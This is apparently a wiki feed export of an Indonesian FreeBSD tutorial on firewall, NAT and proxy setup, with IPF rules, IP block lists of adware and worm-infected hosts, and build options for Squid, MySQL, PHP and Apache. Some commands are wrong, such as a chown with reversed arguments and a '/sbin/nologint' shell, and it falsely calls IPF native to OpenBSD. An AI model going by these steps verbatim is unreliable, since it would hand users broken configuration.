#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4659</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4659"/>
		<updated>2008-07-27T03:51:45Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* Konfigurasi dalam named.conf */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
